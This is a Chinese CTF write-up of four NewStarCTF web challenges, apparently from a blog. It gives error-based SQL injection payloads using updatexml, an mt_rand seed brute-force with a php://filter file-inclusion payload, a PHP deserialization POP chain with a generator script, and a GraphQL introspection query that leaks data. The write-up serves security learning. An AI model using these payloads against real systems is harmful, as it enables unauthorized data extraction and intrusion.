Newstar 新生赛week2

Word-For-You(2 Gen 报错注入)

留言之后,点击这里  发现了name参数 1' 测试一下发现报错

 1' or 1=1%23 之后报错没了,证实存在报错注入

?name=1' or updatexml(1,concat(0x7e,database()),1)%23

爆出数据库名 wfy

?name=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23

爆出表名 : wfy_admin,wfy_comments,wfy_info

?name=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'wfy_comments' )),1)%23

爆出表名: id,text,user,name,display

?name=1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)%23

正着读读不出来

?name=1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)%23

倒着读 读出倒序的flag,}sr0rre_emos_ek2m_t4uJ{galf

逆序后得到flag:flag{Ju4t_m2ke_some_err0rs}

另一位师傅的:

name=1' or updatexml(1,concat(0x7e,(select text from wfy_comments where id=(select max(id)-1 from wfy_comments))),1)#

也可以读出flag

IncludeOne(mt_srand(seed)爆破种子)

进去之后,源码给了出来

 <?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521

mt_srand(seed)函数通过分发seed种子,依靠mt_rand()使用 Mersenne Twister算法返回随机整数。 函数存在伪随机数漏洞

mt_rand()如何生成的随机整数?它与设置的seed值和调用该函数的次数有关,假设使用mt_srand(12345)进行了一次播种,那么第一次调用mt_rand生成的数值为a,第二次为b,第三次为c。所以当有人拿到与你一串一模一样的seed时,所执行的结果都是跟刚刚描述的一样,这样就可以预测出接下来的数值是多少
这里我们在hint 得到了第一个随机数,可以通过链接给的工具来爆破一下种子,guess 传入这个种子的第二个随机数即可绕过。

经测试,种子为:1145146

 所以guess传入 1202031004

payload: ?file=php://filter/NewStar/read=string.rot13/resource=flag.php

Crtl+u 查看源码,看见 <?cuc //synt{121ro5ss-5n94-4268-o0qs-oroqq1727n1s}

rot13再解码得到flag

UnserializeOne

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

从 echo file_get_contents('/flag'); 一步一步找pop链子 建议从下往上看:

链子分析:

unserialize  Start类序列化数据,可以触发Start类里的__destruct()函数
->
Start 类中 __destruct()函数中有 __destruct()  
echo "Welcome to NewStarCTF, ".$this->name;  可以给$this-name 赋值Sec类的实例对象,然后可以触发 __toString()函数

->
__toString() 方法用于一个类被当成字符串时应怎样回应
Sec类中 __toString()方法里 $this->obj->check($this->var); 可以给$this->obj赋值 Easy 类实例对象,然后访问了不存在的->check()方法,调用了 Easy类中的 __call()函数
->
在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发
Easy 类中 __call()函数 存在clone函数 clone $this->cla = clone $var[0];  给 $var 赋值 new eeee();  这样clone关键字拷贝了对象,会调用 eeee类中的 __clone()函数
->
当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone() ,如果该魔术方法存在的话
eeee 类 __clone() 里有 isset($this->obj->cmd)  所以给 $this->obj赋值 new Start(); 这样就对不可访问的->cmd属性调用了isset()函数,触发了Start类的 __Start()函数
->
对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
Start类种有 __isset($var):($this->func)();  给func赋 Sec实例对象名称,这样就以调用函数的方式调用了 Sec实例化对象,触发了Sec类中的 __invoke()函数
->
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
Sec类种有 __invoke(): echo file_get_contents('/flag');  执行这个函数可以得到flag

poc.php如下

<?php

class Start{
public $name;
public $func;
}

class Sec{
public $obj;
public $var;
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$a = new Start();
$a -> name = new Sec();
$a -> name -> var = new eeee();
$a -> name -> var -> obj = new Start();
$a -> name -> var -> obj -> func = new Sec();
$a -> name -> obj = new Easy();

echo urlencode(serialize($a));


ezAPI (graphql 查询信息泄露)

扫一下目录,在/www.zip下 获得源码

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str){
    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
        return False;
    } 
else {
    return True;
    }
}

function send($data){
    $options = array(
    'http' => array(
    'method' => 'POST',
    'header' => 'Content-type: application/json',
    'content' => $data,
    'timeout' => 10 * 60
    )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if (isset($id)) {
    if (waf($id)) {
        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
    $res = json_decode(send($data));
    if ($res->data->users_user_by_pk->name !== NULL) {
        echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
        } 
    else {
        echo "<b>Can't found it!</b><br><br>DEBUG: ";
        var_dump($res->data);
        }
    } 
else {
    die("<b>Hacker! Only Number!</b>");
    }
} 
else {
    die("<b>No Data?</b>");
}
?>

刚开始还以为是sql注入,但是看样子也不是,考点是 graphql 查询

参考:Grahql查询漏洞所引起的敏感信息泄露_NOSEC2019的博客-CSDN博客

 GraphQL Voyager

内省查询:

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}


    query IntrospectionQuery {
      __schema {
        
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
      
      
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
  

 返回包返回的就是该API端点的所有信息。

通过内省查询,看见了flag字段的东西

 查询存在的类型:

data={"query":"{__schema{types{name,fields{name}}}}"}

 查询flag

data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}","variables":null}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值